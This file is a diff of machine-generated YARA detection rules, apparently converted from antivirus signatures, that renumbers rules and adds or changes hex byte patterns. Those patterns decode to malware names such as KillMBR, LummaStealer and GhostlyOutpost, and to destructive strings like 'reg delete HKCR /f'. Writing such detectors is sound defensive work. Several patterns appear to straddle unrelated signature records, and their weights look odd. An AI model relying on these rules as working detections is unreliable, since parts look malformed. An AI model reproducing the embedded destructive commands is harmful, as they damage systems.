"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -369447,7 +392302,7 @@ rule _InfrastructureShared_28326{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27745+(#a_01_2 & 1)*100) >=3 } -rule _InfrastructureShared_28327{ +rule _InfrastructureShared_30080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369460,7 +392315,7 @@ rule _InfrastructureShared_28327{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-6770+(#a_01_2 & 1)*-17692+(#a_01_3 & 1)*14133) >=4 } -rule _InfrastructureShared_28328{ +rule _InfrastructureShared_30081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -369473,7 +392328,7 @@ rule _InfrastructureShared_28328{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25186+(#a_01_2 & 1)*14133+(#a_01_3 & 1)*13130) >=5 } -rule _InfrastructureShared_28329{ +rule _InfrastructureShared_30082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369485,7 +392340,7 @@ rule _InfrastructureShared_28329{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*108+(#a_01_3 & 1)*115) >=30 } -rule _InfrastructureShared_28330{ +rule _InfrastructureShared_30083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -369499,7 +392354,19 @@ rule _InfrastructureShared_28330{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_28331{ +rule _InfrastructureShared_30084{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 69 6c 6c 4d 42 52 2e 4d 58 21 4d 54 42 00 01 00 1c 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 01 00 28 44 00 69 00 73 00 61 00 62 00 6c 00 65 } //16675 + $a_01_2 = {00 69 00 73 00 74 00 72 00 79 00 54 00 6f 00 6f 00 6c 00 73 00 01 00 24 72 00 65 00 67 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 48 00 4b 00 43 00 52 00 20 00 2f 00 66 00 01 00 22 72 00 65 00 67 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 48 00 4b 00 55 00 20 00 2f 00 66 00 01 00 24 72 00 65 } //101 + $a_01_4 = {00 65 00 6c 00 65 00 74 00 65 00 20 00 48 00 4b 00 43 00 43 00 20 00 2f 00 66 00 01 00 0b 46 52 45 45 4d 41 4f 53 4e 52 59 00 00 61 f4 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 30 33 30 37 21 45 4d 4c 00 0a 00 6a 68 00 74 00 74 00 70 00 3a } //32 + condition: + ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*101+(#a_01_4 & 1)*32) >=6 + +} +rule _InfrastructureShared_30085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -369510,7 +392377,7 @@ rule _InfrastructureShared_28331{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*97) >=12 } -rule _InfrastructureShared_28332{ +rule _InfrastructureShared_30086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0c 00 21 " @@ -369531,7 +392398,7 @@ rule _InfrastructureShared_28332{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27182+(#a_01_2 & 1)*27182+(#a_01_3 & 1)*30051+(#a_01_4 & 1)*30812+(#a_01_5 & 1)*19525+(#a_01_6 & 1)*79+(#a_01_7 & 1)*83+(#a_01_8 & 1)*30049+(#a_01_9 & 1)*32+(#a_01_10 & 1)*21539+(#a_01_11 & 1)*1) >=2 } -rule _InfrastructureShared_28333{ +rule _InfrastructureShared_30087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -369548,7 +392415,7 @@ rule _InfrastructureShared_28333{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25445+(#a_01_2 & 1)*30812+(#a_01_3 & 1)*19525+(#a_01_4 & 1)*79+(#a_01_5 & 1)*83+(#a_01_6 & 1)*30049+(#a_01_7 & 1)*32) >=8 } -rule _InfrastructureShared_28334{ +rule _InfrastructureShared_30088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -369565,7 +392432,7 @@ rule _InfrastructureShared_28334{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*105+(#a_01_2 & 1)*116+(#a_01_3 & 1)*28783+(#a_01_4 & 1)*83+(#a_01_5 & 1)*8516+(#a_01_6 & 1)*25458+(#a_01_7 & 1)*21090) >=8 } -rule _InfrastructureShared_28335{ +rule _InfrastructureShared_30089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -369578,7 +392445,7 @@ rule _InfrastructureShared_28335{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24931+(#a_01_2 & 1)*65+(#a_01_3 & 1)*29812) >=3 } -rule _InfrastructureShared_28336{ +rule _InfrastructureShared_30090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -369594,7 +392461,7 @@ rule _InfrastructureShared_28336{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=7 } -rule _InfrastructureShared_28337{ +rule _InfrastructureShared_30091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -369609,7 +392476,7 @@ rule _InfrastructureShared_28337{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19463+(#a_01_2 & 1)*21599+(#a_01_4 & 1)*101+(#a_01_6 & 1)*110+(#a_01_7 & 1)*111) >=9 } -rule _InfrastructureShared_28338{ +rule _InfrastructureShared_30092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -369620,7 +392487,7 @@ rule _InfrastructureShared_28338{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*111) >=20 } -rule _InfrastructureShared_28339{ +rule _InfrastructureShared_30093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369631,7 +392498,7 @@ rule _InfrastructureShared_28339{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*121) >=30 } -rule _InfrastructureShared_28340{ +rule _InfrastructureShared_30094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -369643,7 +392510,7 @@ rule _InfrastructureShared_28340{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*116+(#a_01_3 & 1)*95) >=1 } -rule _InfrastructureShared_28341{ +rule _InfrastructureShared_30095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369655,7 +392522,7 @@ rule _InfrastructureShared_28341{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*65+(#a_01_3 & 1)*101) >=4 } -rule _InfrastructureShared_28342{ +rule _InfrastructureShared_30096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -369666,7 +392533,7 @@ rule _InfrastructureShared_28342{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*84) >=6 } -rule _InfrastructureShared_28343{ +rule _InfrastructureShared_30097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369678,7 +392545,7 @@ rule _InfrastructureShared_28343{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*101+(#a_01_3 & 1)*83) >=30 } -rule _InfrastructureShared_28344{ +rule _InfrastructureShared_30098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -369692,7 +392559,7 @@ rule _InfrastructureShared_28344{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29798+(#a_01_2 & 1)*28531+(#a_01_3 & 1)*28448+(#a_01_4 & 1)*112) >=30 } -rule _InfrastructureShared_28345{ +rule _InfrastructureShared_30099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369703,7 +392570,7 @@ rule _InfrastructureShared_28345{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*46) >=4 } -rule _InfrastructureShared_28346{ +rule _InfrastructureShared_30100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -369717,7 +392584,7 @@ rule _InfrastructureShared_28346{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11620+(#a_01_2 & 1)*100+(#a_01_3 & 1)*9572+(#a_01_5 & 1)*100) >=5 } -rule _InfrastructureShared_28347{ +rule _InfrastructureShared_30101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -369731,7 +392598,7 @@ rule _InfrastructureShared_28347{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*46+(#a_01_3 & 1)*120+(#a_01_4 & 1)*25668+(#a_01_5 & 1)*21084) >=6 } -rule _InfrastructureShared_28348{ +rule _InfrastructureShared_30102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -369745,7 +392612,7 @@ rule _InfrastructureShared_28348{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26209+(#a_01_2 & 1)*25956+(#a_01_4 & 1)*0+(#a_01_6 & 1)*116) >=6 } -rule _InfrastructureShared_28349{ +rule _InfrastructureShared_30103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369757,7 +392624,7 @@ rule _InfrastructureShared_28349{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*108+(#a_01_3 & 1)*101) >=30 } -rule _InfrastructureShared_28350{ +rule _InfrastructureShared_30104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369769,7 +392636,7 @@ rule _InfrastructureShared_28350{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*32+(#a_01_2 & 1)*101) >=30 } -rule _InfrastructureShared_28351{ +rule _InfrastructureShared_30105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -369782,7 +392649,7 @@ rule _InfrastructureShared_28351{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*29551+(#a_01_2 & 1)*29793+(#a_01_3 & 1)*18469) >=2 } -rule _InfrastructureShared_28352{ +rule _InfrastructureShared_30106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 09 00 21 " @@ -369798,7 +392665,7 @@ rule _InfrastructureShared_28352{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23666+(#a_01_2 & 1)*27756+(#a_01_3 & 1)*26963+(#a_01_5 & 1)*21257+(#a_01_6 & 1)*1563+(#a_01_8 & 1)*24832) >=4 } -rule _InfrastructureShared_28353{ +rule _InfrastructureShared_30107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -369814,7 +392681,7 @@ rule _InfrastructureShared_28353{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*21257+(#a_01_3 & 1)*1563+(#a_01_5 & 1)*24832+(#a_01_6 & 1)*0+(#a_01_7 & 1)*30060+(#a_01_8 & 1)*4864) >=10 } -rule _InfrastructureShared_28354{ +rule _InfrastructureShared_30108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -369828,7 +392695,7 @@ rule _InfrastructureShared_28354{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*17748+(#a_01_2 & 1)*24903+(#a_01_3 & 1)*22330+(#a_01_5 & 1)*23049) >=2 } -rule _InfrastructureShared_28355{ +rule _InfrastructureShared_30109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -369844,7 +392711,7 @@ rule _InfrastructureShared_28355{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21296+(#a_01_2 & 1)*24922+(#a_01_3 & 1)*116+(#a_01_4 & 1)*118+(#a_01_6 & 1)*116+(#a_01_8 & 1)*118) >=9 } -rule _InfrastructureShared_28356{ +rule _InfrastructureShared_30110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369856,7 +392723,7 @@ rule _InfrastructureShared_28356{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*116+(#a_01_2 & 1)*118) >=30 } -rule _InfrastructureShared_28357{ +rule _InfrastructureShared_30111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -369870,7 +392737,7 @@ rule _InfrastructureShared_28357{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*83+(#a_01_3 & 1)*28483+(#a_01_4 & 1)*3584+(#a_01_5 & 1)*12595) >=6 } -rule _InfrastructureShared_28358{ +rule _InfrastructureShared_30112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -369887,7 +392754,7 @@ rule _InfrastructureShared_28358{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28789+(#a_01_2 & 1)*13360+(#a_01_3 & 1)*28521+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_01_8 & 1)*40) >=9 } -rule _InfrastructureShared_28359{ +rule _InfrastructureShared_30113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 06 00 21 " @@ -369901,7 +392768,7 @@ rule _InfrastructureShared_28359{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*21550+(#a_01_3 & 1)*92+(#a_01_5 & 1)*115) >=10 } -rule _InfrastructureShared_28360{ +rule _InfrastructureShared_30114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -369915,7 +392782,7 @@ rule _InfrastructureShared_28360{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*77+(#a_01_2 & 1)*10+(#a_01_3 & 1)*0+(#a_01_4 & 1)*115) >=20 } -rule _InfrastructureShared_28361{ +rule _InfrastructureShared_30115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369928,7 +392795,7 @@ rule _InfrastructureShared_28361{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111+(#a_01_2 & 1)*12288+(#a_01_3 & 1)*117) >=4 } -rule _InfrastructureShared_28362{ +rule _InfrastructureShared_30116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369939,7 +392806,7 @@ rule _InfrastructureShared_28362{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*100) >=4 } -rule _InfrastructureShared_28363{ +rule _InfrastructureShared_30117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -369952,7 +392819,7 @@ rule _InfrastructureShared_28363{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*97+(#a_01_3 & 1)*30055+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_28364{ +rule _InfrastructureShared_30118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0f 00 21 " @@ -369968,13 +392835,15 @@ rule _InfrastructureShared_28364{ $a_01_8 = {72 61 67 65 4c 6f 63 61 74 69 6f 6e 20 9c ff 0f 57 69 6e 53 71 6d 49 73 4f 70 74 65 64 49 6e 9c ff 32 4b 00 65 00 72 00 6e 00 65 00 6c 00 49 00 6e 00 74 00 2e 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 54 00 65 00 73 00 74 00 73 00 00 00 61 ff 00 00 03 00 03 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 79 62 } //29779 $a_01_9 = {78 70 6c 6f 72 65 72 00 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 2e 70 64 62 01 00 18 4f 6e 65 43 79 62 65 72 46 54 40 6d 69 63 72 } //29285 $a_01_10 = {66 74 2e 63 6f 6d 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 2e 64 6c 6c 01 00 24 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 01 00 42 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 } //29551 - $a_01_11 = {72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 3a 2f 47 68 61 73 74 6c 79 4f 75 74 70 6f 73 74 2e 43 21 64 68 61 00 01 00 44 57 } //28261 - $a_01_13 = {00 6f 00 6d 00 65 00 20 00 74 00 6f 00 20 00 75 00 73 00 65 00 20 00 53 00 68 00 61 00 72 00 70 00 20 00 53 00 63 00 61 00 6c 00 70 00 65 00 6c 00 20 00 20 00 56 00 65 00 72 00 3a 00 01 00 64 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 61 } //108 + $a_01_11 = {72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 4e 21 4d 54 42 00 01 00 ce 3d 00 03 81 } //28261 + $a_01_12 = {3e 08 3e 0c } //-8646 ࠾ా + $a_01_13 = {de 10 3e 14 3e 18 03 81 3a de 1c 3e 20 3e 24 03 81 3a de 28 3e 2c 3e 30 03 81 3a de 34 3e 38 3e 3c 03 81 3a de 40 3e 44 3e 48 03 81 3a de 4c 3e 50 3e 54 03 81 3a de 58 3e 5c } //-32509 + $a_01_14 = {81 3a de } //24638 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22102+(#a_01_2 & 1)*21261+(#a_01_3 & 1)*-28664+(#a_01_4 & 1)*8993+(#a_01_5 & 1)*17508+(#a_01_6 & 1)*12851+(#a_01_7 & 1)*19988+(#a_01_8 & 1)*29779+(#a_01_9 & 1)*29285+(#a_01_10 & 1)*29551+(#a_01_11 & 1)*28261+(#a_01_13 & 1)*108) >=15 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22102+(#a_01_2 & 1)*21261+(#a_01_3 & 1)*-28664+(#a_01_4 & 1)*8993+(#a_01_5 & 1)*17508+(#a_01_6 & 1)*12851+(#a_01_7 & 1)*19988+(#a_01_8 & 1)*29779+(#a_01_9 & 1)*29285+(#a_01_10 & 1)*29551+(#a_01_11 & 1)*28261+(#a_01_12 & 1)*-8646+(#a_01_13 & 1)*-32509+(#a_01_14 & 1)*24638) >=15 } -rule _InfrastructureShared_28365{ +rule _InfrastructureShared_30119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -369985,7 +392854,7 @@ rule _InfrastructureShared_28365{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25000) >=1 } -rule _InfrastructureShared_28366{ +rule _InfrastructureShared_30120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -370000,7 +392869,7 @@ rule _InfrastructureShared_28366{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24904+(#a_01_2 & 1)*28498+(#a_01_3 & 1)*25972+(#a_01_5 & 1)*100+(#a_01_6 & 1)*14931) >=7 } -rule _InfrastructureShared_28367{ +rule _InfrastructureShared_30121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -370009,27 +392878,37 @@ rule _InfrastructureShared_28367{ $a_01_1 = {61 6e 74 9c ff 3e 4e 00 54 00 56 00 44 00 4d 00 20 00 65 00 6e 00 63 00 6f 00 75 00 6e 00 74 00 65 00 72 00 65 00 64 00 20 00 61 00 20 00 68 00 61 00 72 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 00 2e 00 9c ff 16 53 58 53 3a 20 20 53 74 6f 72 61 67 65 4c 6f 63 61 74 69 6f 6e 20 9c ff 0f 57 69 6e 53 71 6d 49 73 4f 70 74 65 64 49 6e 9c ff 32 4b 00 } //30029 $a_01_2 = {00 6e 00 65 00 6c 00 49 00 6e 00 74 00 2e 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 54 00 65 00 73 00 74 00 73 00 00 00 61 ff 00 00 03 00 03 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 79 62 65 72 45 78 70 6c 6f 72 65 72 00 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 } //101 $a_01_3 = {63 74 6f 72 73 2e 70 64 62 01 00 18 4f 6e 65 43 79 62 65 72 46 54 40 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 2e 64 6c 6c 01 00 24 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 } //29797 - $a_01_4 = {61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 01 00 42 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 3a 2f 47 68 } //29285 - $a_01_5 = {6c 79 4f 75 74 70 6f 73 74 2e 43 21 64 68 61 00 01 00 44 57 00 65 00 6c 00 63 00 6f 00 6d 00 65 00 20 00 74 00 6f 00 20 00 75 00 73 00 65 00 20 00 53 00 68 00 61 00 72 00 70 00 20 00 53 00 63 00 61 00 6c 00 70 00 65 00 6c 00 20 00 20 00 56 00 65 00 72 00 3a 00 01 00 64 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 20 00 } //29537 + $a_01_4 = {61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 01 00 42 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d } //29285 + $a_01_5 = {65 61 6c 65 72 2e 5a 4e 21 4d 54 42 00 01 00 ce 3d 00 03 81 3a de 04 3e 08 3e 0c 03 81 3a de 10 3e 14 3e 18 03 81 3a de 1c 3e 20 3e 24 03 81 3a de 28 3e 2c 3e 30 03 81 3a de 34 3e 38 3e 3c 03 81 3a de 40 3e 44 3e 48 03 81 3a de 4c 3e 50 3e 54 03 81 3a de 58 3e 5c 3e 60 03 81 3a de 64 3e 68 3e 6c 03 81 3a de 70 3e 74 3e 78 03 81 3a de 7c 3e 80 3e } //21345 condition: - ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*30029+(#a_01_2 & 1)*101+(#a_01_3 & 1)*29797+(#a_01_4 & 1)*29285+(#a_01_5 & 1)*29537) >=2 + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*30029+(#a_01_2 & 1)*101+(#a_01_3 & 1)*29797+(#a_01_4 & 1)*29285+(#a_01_5 & 1)*21345) >=2 } -rule _InfrastructureShared_28368{ +rule _InfrastructureShared_30122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " strings : $a_01_0 = {6c 6f 77 4c 69 73 74 3a 43 79 62 65 72 45 78 70 6c 6f 72 65 72 00 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 2e 70 64 62 01 00 18 4f 6e 65 43 79 62 65 72 46 54 40 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 01 00 28 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 } //16675 $a_01_1 = {4f 62 73 65 72 76 61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 2e 64 6c 6c 01 00 24 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 } //29285 - $a_01_2 = {61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 01 00 42 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 3a 2f 47 68 } //29285 - $a_01_3 = {6c 79 4f 75 74 70 6f 73 74 2e 43 21 64 68 61 00 01 00 44 57 00 65 00 6c 00 63 00 6f 00 6d 00 65 00 20 00 74 00 6f 00 20 00 75 00 73 00 65 00 20 00 53 00 68 00 61 00 72 00 70 00 20 00 53 00 63 00 61 00 6c 00 70 00 65 00 6c 00 20 00 20 00 56 00 65 00 72 00 3a 00 01 00 64 41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 20 00 } //29537 - $a_01_4 = {00 75 00 20 00 61 00 72 00 65 00 20 00 6d 00 6f 00 64 00 69 00 66 00 79 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 75 00 72 00 61 00 74 00 69 00 6f 00 6e 00 20 00 3f 00 01 00 0d 50 72 65 73 74 6f 72 2e 53 68 65 6c 6c 01 00 0d 43 79 62 6c 65 20 53 68 75 74 74 6c 65 00 00 61 00 01 00 04 00 } //121 + $a_01_2 = {61 74 69 6f 6e 44 65 74 65 63 74 6f 72 73 01 00 42 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 49 45 6e 75 6d 65 72 61 74 6f 72 3c 4d 69 63 72 6f 73 6f 66 74 2e 43 79 62 65 72 2e 4f 62 73 65 72 76 61 74 69 6f 6e 00 00 61 00 01 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d } //29285 + $a_01_3 = {65 61 6c 65 72 2e 5a 4e 21 4d 54 42 00 01 00 ce 3d 00 03 81 3a de 04 3e 08 3e 0c 03 81 3a de 10 3e 14 3e 18 03 81 3a de 1c 3e 20 3e 24 03 81 3a de 28 3e 2c 3e 30 03 81 3a de 34 3e 38 3e 3c 03 81 3a de 40 3e 44 3e 48 03 81 3a de 4c 3e 50 3e 54 03 81 3a de 58 3e 5c 3e 60 03 81 3a de 64 3e 68 3e 6c 03 81 3a de 70 3e 74 3e 78 03 81 3a de 7c 3e 80 3e } //21345 + $a_01_4 = {3a de 88 3e 8c 3e 90 03 81 3a de 94 3e 98 3e 9c 03 81 3a de a0 3e a4 3e a8 03 81 3a de ac 3e b0 3e b4 03 81 3a de b8 3e bc 3e c0 03 81 3a de c4 